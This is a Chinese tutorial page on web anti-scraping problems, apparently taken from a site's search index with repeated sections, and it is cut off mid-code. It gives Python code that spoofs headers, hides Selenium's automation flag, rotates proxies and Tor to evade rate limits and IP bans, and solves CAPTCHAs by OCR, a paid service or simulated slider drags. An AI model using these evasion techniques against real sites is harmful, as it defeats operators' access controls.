","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:1:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#原因分析"},{"categories":null,"collections":null,"content":"解决方案 1. 完善 Headers import requests headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'none', 'Sec-Fetch-User': '?1', 'Cache-Control': 'max-age=0', } # 如果是从其他页面跳转过来的，添加 Referer headers['Referer'] = 'https://example.com/previous-page' response = requests.get(url, headers=headers) 2. 使用真实浏览器环境 from selenium import webdriver from selenium.webdriver.chrome.options import Options options = Options() options.add_argument('--disable-blink-features=AutomationControlled') options.add_experimental_option('excludeSwitches', ['enable-automation']) options.add_experimental_option('useAutomationExtension', False) driver = webdriver.Chrome(options=options) # 修改 webdriver 属性 driver.execute_cdp_cmd('Page.addScriptToEvaluateOnNewDocument', { 'source': ''' Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }) ''' }) driver.get(url) 3. 使用无头浏览器 from playwright.sync_api import sync_playwright with sync_playwright() as p: browser = p.chromium.launch(headless=True) page = browser.new_page() # 设置额外的 headers page.set_extra_http_headers({ 'Accept-Language': 'zh-CN,zh;q=0.9', }) page.goto(url) content = page.content() browser.close() ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:1:3","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#解决方案"},{"categories":null,"collections":null,"content":"解决方案 1. 完善 Headers import requests headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'none', 'Sec-Fetch-User': '?1', 'Cache-Control': 'max-age=0', } # 如果是从其他页面跳转过来的，添加 Referer headers['Referer'] = 'https://example.com/previous-page' response = requests.get(url, headers=headers) 2. 使用真实浏览器环境 from selenium import webdriver from selenium.webdriver.chrome.options import Options options = Options() options.add_argument('--disable-blink-features=AutomationControlled') options.add_experimental_option('excludeSwitches', ['enable-automation']) options.add_experimental_option('useAutomationExtension', False) driver = webdriver.Chrome(options=options) # 修改 webdriver 属性 driver.execute_cdp_cmd('Page.addScriptToEvaluateOnNewDocument', { 'source': ''' Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }) ''' }) driver.get(url) 3. 使用无头浏览器 from playwright.sync_api import sync_playwright with sync_playwright() as p: browser = p.chromium.launch(headless=True) page = browser.new_page() # 设置额外的 headers page.set_extra_http_headers({ 'Accept-Language': 'zh-CN,zh;q=0.9', }) page.goto(url) content = page.content() browser.close() ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:1:3","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#1-完善-headers"},{"categories":null,"collections":null,"content":"解决方案 1. 完善 Headers import requests headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'none', 'Sec-Fetch-User': '?1', 'Cache-Control': 'max-age=0', } # 如果是从其他页面跳转过来的，添加 Referer headers['Referer'] = 'https://example.com/previous-page' response = requests.get(url, headers=headers) 2. 使用真实浏览器环境 from selenium import webdriver from selenium.webdriver.chrome.options import Options options = Options() options.add_argument('--disable-blink-features=AutomationControlled') options.add_experimental_option('excludeSwitches', ['enable-automation']) options.add_experimental_option('useAutomationExtension', False) driver = webdriver.Chrome(options=options) # 修改 webdriver 属性 driver.execute_cdp_cmd('Page.addScriptToEvaluateOnNewDocument', { 'source': ''' Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }) ''' }) driver.get(url) 3. 使用无头浏览器 from playwright.sync_api import sync_playwright with sync_playwright() as p: browser = p.chromium.launch(headless=True) page = browser.new_page() # 设置额外的 headers page.set_extra_http_headers({ 'Accept-Language': 'zh-CN,zh;q=0.9', }) page.goto(url) content = page.content() browser.close() ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:1:3","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#2-使用真实浏览器环境"},{"categories":null,"collections":null,"content":"解决方案 1. 完善 Headers import requests headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'none', 'Sec-Fetch-User': '?1', 'Cache-Control': 'max-age=0', } # 如果是从其他页面跳转过来的，添加 Referer headers['Referer'] = 'https://example.com/previous-page' response = requests.get(url, headers=headers) 2. 使用真实浏览器环境 from selenium import webdriver from selenium.webdriver.chrome.options import Options options = Options() options.add_argument('--disable-blink-features=AutomationControlled') options.add_experimental_option('excludeSwitches', ['enable-automation']) options.add_experimental_option('useAutomationExtension', False) driver = webdriver.Chrome(options=options) # 修改 webdriver 属性 driver.execute_cdp_cmd('Page.addScriptToEvaluateOnNewDocument', { 'source': ''' Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }) ''' }) driver.get(url) 3. 使用无头浏览器 from playwright.sync_api import sync_playwright with sync_playwright() as p: browser = p.chromium.launch(headless=True) page = browser.new_page() # 设置额外的 headers page.set_extra_http_headers({ 'Accept-Language': 'zh-CN,zh;q=0.9', }) page.goto(url) content = page.content() browser.close() ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:1:3","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#3-使用无头浏览器"},{"categories":null,"collections":null,"content":"429 Too Many Requests ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:2:0","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#429-too-many-requests"},{"categories":null,"collections":null,"content":"问题表现 HTTP 429 Too Many Requests Rate limit exceeded ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:2:1","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#问题表现-1"},{"categories":null,"collections":null,"content":"原因分析 请求频率过高 同一 IP 请求过多 超过 API 限额 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:2:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#原因分析-1"},{"categories":null,"collections":null,"content":"解决方案 1. 添加请求延迟 import time import random def fetch_with_delay(url): # 随机延迟 1-3 秒 delay = random.uniform(1, 3) time.sleep(delay) response = requests.get(url) return response # 批量请求 for url in urls: response = fetch_with_delay(url) # 处理响应... 2. 实现退避算法 import time def fetch_with_backoff(url, max_retries=5): \"\"\"指数退避重试\"\"\" for attempt in range(max_retries): try: response = requests.get(url) if response.status_code == 429: # 获取 Retry-After 头 retry_after = int(response.headers.get('Retry-After', 60)) wait_time = min(retry_after, 2 ** attempt) print(f\"Rate limited. Waiting {wait_time}s...\") time.sleep(wait_time) continue return response except Exception as e: print(f\"Attempt {attempt + 1} failed: {e}\") time.sleep(2 ** attempt) raise Exception(\"Max retries exceeded\") 3. 使用代理池轮换 import random class ProxyPool: def __init__(self, proxies): self.proxies = proxies self.failed_proxies = set() def get_proxy(self): \"\"\"获取可用代理\"\"\" available = [p for p in self.proxies if p not in self.failed_proxies] if not available: # 重置失败列表 self.failed_proxies.clear() available = self.proxies return random.choice(available) def mark_failed(self, proxy): \"\"\"标记代理失败\"\"\" self.failed_proxies.add(proxy) # 使用示例 proxy_list = [ 'http://proxy1.com:8080', 'http://proxy2.com:8080', 'http://proxy3.com:8080', ] pool = ProxyPool(proxy_list) def fetch_with_proxy_rotation(url): for _ in range(3): proxy = pool.get_proxy() try: response = requests.get( url, proxies={'http': proxy, 'https': proxy}, timeout=10 ) return response except Exception as e: print(f\"Proxy {proxy} failed: {e}\") pool.mark_failed(proxy) raise Exception(\"All proxies failed\") ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:2:3","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#解决方案-1"},{"categories":null,"collections":null,"content":"解决方案 1. 添加请求延迟 import time import random def fetch_with_delay(url): # 随机延迟 1-3 秒 delay = random.uniform(1, 3) time.sleep(delay) response = requests.get(url) return response # 批量请求 for url in urls: response = fetch_with_delay(url) # 处理响应... 2. 实现退避算法 import time def fetch_with_backoff(url, max_retries=5): \"\"\"指数退避重试\"\"\" for attempt in range(max_retries): try: response = requests.get(url) if response.status_code == 429: # 获取 Retry-After 头 retry_after = int(response.headers.get('Retry-After', 60)) wait_time = min(retry_after, 2 ** attempt) print(f\"Rate limited. Waiting {wait_time}s...\") time.sleep(wait_time) continue return response except Exception as e: print(f\"Attempt {attempt + 1} failed: {e}\") time.sleep(2 ** attempt) raise Exception(\"Max retries exceeded\") 3. 使用代理池轮换 import random class ProxyPool: def __init__(self, proxies): self.proxies = proxies self.failed_proxies = set() def get_proxy(self): \"\"\"获取可用代理\"\"\" available = [p for p in self.proxies if p not in self.failed_proxies] if not available: # 重置失败列表 self.failed_proxies.clear() available = self.proxies return random.choice(available) def mark_failed(self, proxy): \"\"\"标记代理失败\"\"\" self.failed_proxies.add(proxy) # 使用示例 proxy_list = [ 'http://proxy1.com:8080', 'http://proxy2.com:8080', 'http://proxy3.com:8080', ] pool = ProxyPool(proxy_list) def fetch_with_proxy_rotation(url): for _ in range(3): proxy = pool.get_proxy() try: response = requests.get( url, proxies={'http': proxy, 'https': proxy}, timeout=10 ) return response except Exception as e: print(f\"Proxy {proxy} failed: {e}\") pool.mark_failed(proxy) raise Exception(\"All proxies failed\") ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:2:3","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#1-添加请求延迟"},{"categories":null,"collections":null,"content":"解决方案 1. 添加请求延迟 import time import random def fetch_with_delay(url): # 随机延迟 1-3 秒 delay = random.uniform(1, 3) time.sleep(delay) response = requests.get(url) return response # 批量请求 for url in urls: response = fetch_with_delay(url) # 处理响应... 2. 实现退避算法 import time def fetch_with_backoff(url, max_retries=5): \"\"\"指数退避重试\"\"\" for attempt in range(max_retries): try: response = requests.get(url) if response.status_code == 429: # 获取 Retry-After 头 retry_after = int(response.headers.get('Retry-After', 60)) wait_time = min(retry_after, 2 ** attempt) print(f\"Rate limited. Waiting {wait_time}s...\") time.sleep(wait_time) continue return response except Exception as e: print(f\"Attempt {attempt + 1} failed: {e}\") time.sleep(2 ** attempt) raise Exception(\"Max retries exceeded\") 3. 使用代理池轮换 import random class ProxyPool: def __init__(self, proxies): self.proxies = proxies self.failed_proxies = set() def get_proxy(self): \"\"\"获取可用代理\"\"\" available = [p for p in self.proxies if p not in self.failed_proxies] if not available: # 重置失败列表 self.failed_proxies.clear() available = self.proxies return random.choice(available) def mark_failed(self, proxy): \"\"\"标记代理失败\"\"\" self.failed_proxies.add(proxy) # 使用示例 proxy_list = [ 'http://proxy1.com:8080', 'http://proxy2.com:8080', 'http://proxy3.com:8080', ] pool = ProxyPool(proxy_list) def fetch_with_proxy_rotation(url): for _ in range(3): proxy = pool.get_proxy() try: response = requests.get( url, proxies={'http': proxy, 'https': proxy}, timeout=10 ) return response except Exception as e: print(f\"Proxy {proxy} failed: {e}\") pool.mark_failed(proxy) raise Exception(\"All proxies failed\") ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:2:3","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#2-实现退避算法"},{"categories":null,"collections":null,"content":"解决方案 1. 添加请求延迟 import time import random def fetch_with_delay(url): # 随机延迟 1-3 秒 delay = random.uniform(1, 3) time.sleep(delay) response = requests.get(url) return response # 批量请求 for url in urls: response = fetch_with_delay(url) # 处理响应... 2. 实现退避算法 import time def fetch_with_backoff(url, max_retries=5): \"\"\"指数退避重试\"\"\" for attempt in range(max_retries): try: response = requests.get(url) if response.status_code == 429: # 获取 Retry-After 头 retry_after = int(response.headers.get('Retry-After', 60)) wait_time = min(retry_after, 2 ** attempt) print(f\"Rate limited. Waiting {wait_time}s...\") time.sleep(wait_time) continue return response except Exception as e: print(f\"Attempt {attempt + 1} failed: {e}\") time.sleep(2 ** attempt) raise Exception(\"Max retries exceeded\") 3. 使用代理池轮换 import random class ProxyPool: def __init__(self, proxies): self.proxies = proxies self.failed_proxies = set() def get_proxy(self): \"\"\"获取可用代理\"\"\" available = [p for p in self.proxies if p not in self.failed_proxies] if not available: # 重置失败列表 self.failed_proxies.clear() available = self.proxies return random.choice(available) def mark_failed(self, proxy): \"\"\"标记代理失败\"\"\" self.failed_proxies.add(proxy) # 使用示例 proxy_list = [ 'http://proxy1.com:8080', 'http://proxy2.com:8080', 'http://proxy3.com:8080', ] pool = ProxyPool(proxy_list) def fetch_with_proxy_rotation(url): for _ in range(3): proxy = pool.get_proxy() try: response = requests.get( url, proxies={'http': proxy, 'https': proxy}, timeout=10 ) return response except Exception as e: print(f\"Proxy {proxy} failed: {e}\") pool.mark_failed(proxy) raise Exception(\"All proxies failed\") ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:2:3","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#3-使用代理池轮换"},{"categories":null,"collections":null,"content":"IP 被封禁 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:3:0","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#ip-被封禁"},{"categories":null,"collections":null,"content":"问题表现 所有请求返回 403 长时间无响应 重定向到验证页面 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:3:1","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#问题表现-2"},{"categories":null,"collections":null,"content":"解决方案 1. 使用代理服务 # 使用商业代理服务 PROXY_API_URL = \"http://proxy-service.com/api/get\" def get_proxy(): \"\"\"从代理服务获取代理\"\"\" response = requests.get(PROXY_API_URL) proxy = response.text.strip() return f\"http://{proxy}\" def fetch_with_dynamic_proxy(url): proxy = get_proxy() proxies = {'http': proxy, 'https': proxy} response = requests.get(url, proxies=proxies) return response 2. 使用 Tor 网络 import requests # Tor SOCKS5 代理 (需要运行 Tor 服务) proxies = { 'http': 'socks5h://127.0.0.1:9050', 'https': 'socks5h://127.0.0.1:9050', } # 安装: pip install requests[socks] response = requests.get(url, proxies=proxies) # 验证 IP ip_check = requests.get('http://httpbin.org/ip', proxies=proxies) print(f\"Current IP: {ip_check.json()}\") 3. 轮换用户身份 import random USER_AGENTS = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1) ...', 'Mozilla/5.0 (X11; Linux x86_64) ...', ] def get_random_headers(): return { 'User-Agent': random.choice(USER_AGENTS), 'Accept-Language': random.choice(['zh-CN,zh;q=0.9', 'en-US,en;q=0.9']), } response = requests.get(url, headers=get_random_headers()) ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:3:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#解决方案-2"},{"categories":null,"collections":null,"content":"解决方案 1. 使用代理服务 # 使用商业代理服务 PROXY_API_URL = \"http://proxy-service.com/api/get\" def get_proxy(): \"\"\"从代理服务获取代理\"\"\" response = requests.get(PROXY_API_URL) proxy = response.text.strip() return f\"http://{proxy}\" def fetch_with_dynamic_proxy(url): proxy = get_proxy() proxies = {'http': proxy, 'https': proxy} response = requests.get(url, proxies=proxies) return response 2. 使用 Tor 网络 import requests # Tor SOCKS5 代理 (需要运行 Tor 服务) proxies = { 'http': 'socks5h://127.0.0.1:9050', 'https': 'socks5h://127.0.0.1:9050', } # 安装: pip install requests[socks] response = requests.get(url, proxies=proxies) # 验证 IP ip_check = requests.get('http://httpbin.org/ip', proxies=proxies) print(f\"Current IP: {ip_check.json()}\") 3. 轮换用户身份 import random USER_AGENTS = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1) ...', 'Mozilla/5.0 (X11; Linux x86_64) ...', ] def get_random_headers(): return { 'User-Agent': random.choice(USER_AGENTS), 'Accept-Language': random.choice(['zh-CN,zh;q=0.9', 'en-US,en;q=0.9']), } response = requests.get(url, headers=get_random_headers()) ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:3:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#1-使用代理服务"},{"categories":null,"collections":null,"content":"解决方案 1. 使用代理服务 # 使用商业代理服务 PROXY_API_URL = \"http://proxy-service.com/api/get\" def get_proxy(): \"\"\"从代理服务获取代理\"\"\" response = requests.get(PROXY_API_URL) proxy = response.text.strip() return f\"http://{proxy}\" def fetch_with_dynamic_proxy(url): proxy = get_proxy() proxies = {'http': proxy, 'https': proxy} response = requests.get(url, proxies=proxies) return response 2. 使用 Tor 网络 import requests # Tor SOCKS5 代理 (需要运行 Tor 服务) proxies = { 'http': 'socks5h://127.0.0.1:9050', 'https': 'socks5h://127.0.0.1:9050', } # 安装: pip install requests[socks] response = requests.get(url, proxies=proxies) # 验证 IP ip_check = requests.get('http://httpbin.org/ip', proxies=proxies) print(f\"Current IP: {ip_check.json()}\") 3. 轮换用户身份 import random USER_AGENTS = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1) ...', 'Mozilla/5.0 (X11; Linux x86_64) ...', ] def get_random_headers(): return { 'User-Agent': random.choice(USER_AGENTS), 'Accept-Language': random.choice(['zh-CN,zh;q=0.9', 'en-US,en;q=0.9']), } response = requests.get(url, headers=get_random_headers()) ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:3:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#2-使用-tor-网络"},{"categories":null,"collections":null,"content":"解决方案 1. 使用代理服务 # 使用商业代理服务 PROXY_API_URL = \"http://proxy-service.com/api/get\" def get_proxy(): \"\"\"从代理服务获取代理\"\"\" response = requests.get(PROXY_API_URL) proxy = response.text.strip() return f\"http://{proxy}\" def fetch_with_dynamic_proxy(url): proxy = get_proxy() proxies = {'http': proxy, 'https': proxy} response = requests.get(url, proxies=proxies) return response 2. 使用 Tor 网络 import requests # Tor SOCKS5 代理 (需要运行 Tor 服务) proxies = { 'http': 'socks5h://127.0.0.1:9050', 'https': 'socks5h://127.0.0.1:9050', } # 安装: pip install requests[socks] response = requests.get(url, proxies=proxies) # 验证 IP ip_check = requests.get('http://httpbin.org/ip', proxies=proxies) print(f\"Current IP: {ip_check.json()}\") 3. 轮换用户身份 import random USER_AGENTS = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1) ...', 'Mozilla/5.0 (X11; Linux x86_64) ...', ] def get_random_headers(): return { 'User-Agent': random.choice(USER_AGENTS), 'Accept-Language': random.choice(['zh-CN,zh;q=0.9', 'en-US,en;q=0.9']), } response = requests.get(url, headers=get_random_headers()) ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:3:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#3-轮换用户身份"},{"categories":null,"collections":null,"content":"验证码拦截 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:4:0","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#验证码拦截"},{"categories":null,"collections":null,"content":"问题表现 登录或访问时出现验证码 图片验证码、滑块验证码、点选验证码 ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:4:1","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#问题表现-3"},{"categories":null,"collections":null,"content":"解决方案 1. 图片验证码识别 (OCR) from PIL import Image import pytesseract import requests from io import BytesIO def recognize_captcha(captcha_url): \"\"\"OCR 识别验证码\"\"\" # 下载验证码 response = requests.get(captcha_url) img = Image.open(BytesIO(response.content)) # 图片预处理 img = img.convert('L') # 转灰度 img = img.point(lambda x: 0 if x \u003c 128 else 255) # 二值化 # OCR 识别 code = pytesseract.image_to_string(img, config='--psm 7') return code.strip() # 使用示例 captcha_code = recognize_captcha('https://example.com/captcha.jpg') print(f\"Recognized: {captcha_code}\") 2. 使用打码平台 import requests import time class TwoCaptcha: \"\"\"2Captcha 打码平台\"\"\" def __init__(self, api_key): self.api_key = api_key self.base_url = \"http://2captcha.com\" def solve_image_captcha(self, image_path): \"\"\"解决图片验证码\"\"\" # 1. 提交验证码 with open(image_path, 'rb') as f: files = {'file': f} data = {'key': self.api_key, 'method': 'post'} response = requests.post( f\"{self.base_url}/in.php\", files=files, data=data ) if not response.text.startswith('OK|'): raise Exception(f\"Submit failed: {response.text}\") captcha_id = response.text.split('|')[1] # 2. 轮询结果 for _ in range(20): time.sleep(5) result = requests.get( f\"{self.base_url}/res.php\", params={ 'key': self.api_key, 'action': 'get', 'id': captcha_id } ) if result.text.startswith('OK|'): return result.text.split('|')[1] raise Exception(\"Timeout waiting for result\") # 使用示例 solver = TwoCaptcha(api_key='your_api_key') code = solver.solve_image_captcha('captcha.jpg') 3. 滑块验证码 from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains import time def solve_slider_captcha(driver): \"\"\"解决滑块验证码\"\"\" # 找到滑块元素 slider = driver.find_element('css selector', '.slider-button') # 模拟人类滑动轨迹 def get_track(distance): \"\"\"生成移动轨迹\"\"\" track = [] current = 0 mid = distance * 4 / 5 # 加速阶段 while current \u003c mid: move = 2 track.append(move) current += move # 减速阶段 while current \u003c distance: move = 1 track.append(move) current += move return track # 获取需要滑动的距离 distance = 260 # 根据实际情况调整 # 执行滑动 action = ActionChains(driver) action.click_and_hold(slider).perform() for move in get_track(distance): action.move_by_offset(move, 0).perform() time.sleep(0.01) action.release().perform() time.sleep(1) ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:4:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#解决方案-3"},{"categories":null,"collections":null,"content":"解决方案 1. 图片验证码识别 (OCR) from PIL import Image import pytesseract import requests from io import BytesIO def recognize_captcha(captcha_url): \"\"\"OCR 识别验证码\"\"\" # 下载验证码 response = requests.get(captcha_url) img = Image.open(BytesIO(response.content)) # 图片预处理 img = img.convert('L') # 转灰度 img = img.point(lambda x: 0 if x \u003c 128 else 255) # 二值化 # OCR 识别 code = pytesseract.image_to_string(img, config='--psm 7') return code.strip() # 使用示例 captcha_code = recognize_captcha('https://example.com/captcha.jpg') print(f\"Recognized: {captcha_code}\") 2. 使用打码平台 import requests import time class TwoCaptcha: \"\"\"2Captcha 打码平台\"\"\" def __init__(self, api_key): self.api_key = api_key self.base_url = \"http://2captcha.com\" def solve_image_captcha(self, image_path): \"\"\"解决图片验证码\"\"\" # 1. 提交验证码 with open(image_path, 'rb') as f: files = {'file': f} data = {'key': self.api_key, 'method': 'post'} response = requests.post( f\"{self.base_url}/in.php\", files=files, data=data ) if not response.text.startswith('OK|'): raise Exception(f\"Submit failed: {response.text}\") captcha_id = response.text.split('|')[1] # 2. 轮询结果 for _ in range(20): time.sleep(5) result = requests.get( f\"{self.base_url}/res.php\", params={ 'key': self.api_key, 'action': 'get', 'id': captcha_id } ) if result.text.startswith('OK|'): return result.text.split('|')[1] raise Exception(\"Timeout waiting for result\") # 使用示例 solver = TwoCaptcha(api_key='your_api_key') code = solver.solve_image_captcha('captcha.jpg') 3. 滑块验证码 from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains import time def solve_slider_captcha(driver): \"\"\"解决滑块验证码\"\"\" # 找到滑块元素 slider = driver.find_element('css selector', '.slider-button') # 模拟人类滑动轨迹 def get_track(distance): \"\"\"生成移动轨迹\"\"\" track = [] current = 0 mid = distance * 4 / 5 # 加速阶段 while current \u003c mid: move = 2 track.append(move) current += move # 减速阶段 while current \u003c distance: move = 1 track.append(move) current += move return track # 获取需要滑动的距离 distance = 260 # 根据实际情况调整 # 执行滑动 action = ActionChains(driver) action.click_and_hold(slider).perform() for move in get_track(distance): action.move_by_offset(move, 0).perform() time.sleep(0.01) action.release().perform() time.sleep(1) ","date":"2024-11-26","objectID":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/:4:2","tags":["Web","问题排查","浏览器指纹","Canvas指纹","代理池","Selenium"],"title":"反爬虫问题","uri":"/reverse_engineering/web/10-troubleshooting/anti_scraping_issues/#1-图片验证码识别-ocr"},{"categories":null,"collections":null,"content":"解决方案 1. 图片验证码识别 (OCR) from PIL import Image import pytesseract import requests from io import BytesIO def recognize_captcha(captcha_url): \"\"\"OCR 识别验证码\"\"\" # 下载验证码 response = requests.get(captcha_url) img = Image.open(BytesIO(response.content)) # 图片预处理 img = img.convert('L') # 转灰度 img = img.point(lambda x: 0 if x \u003c 128 else 255) # 二值化 # OCR 识别 code = pytesseract.image_to_string(img, config='--psm 7') return code.strip() # 使用示例 captcha_code = recognize_captcha('https://example.com/captcha.jpg') print(f\"Recognized: {captcha_code}\") 2. 使用打码平台 import requests import time class TwoCaptcha: \"\"\"2Captcha 打码平台\"\"\" def __init__(self, api_key): self.api_key = api_key self.base_url = \"http://2captcha.com\" def solve_image_captcha(self, image_path): \"\"\"解决图片验证码\"\"\" # 1. 提交验证码 with open(image_path, 'rb') as f: files = {'file': f} data = {'key': self.api_key, 'method': 'post'} response = requests.post( f\"{self.base_url}/in.php\", files=files, data=data ) if not response.text.startswith('OK|'): raise Exception(f\"Submit failed: {response.text}\") captcha_id = response.text.split('|')[1] # 2. 轮询结果 for _ in range(20): time.sleep(5) result = requests.get( f\"{self.base_url}/res.php\", params={ 'key': 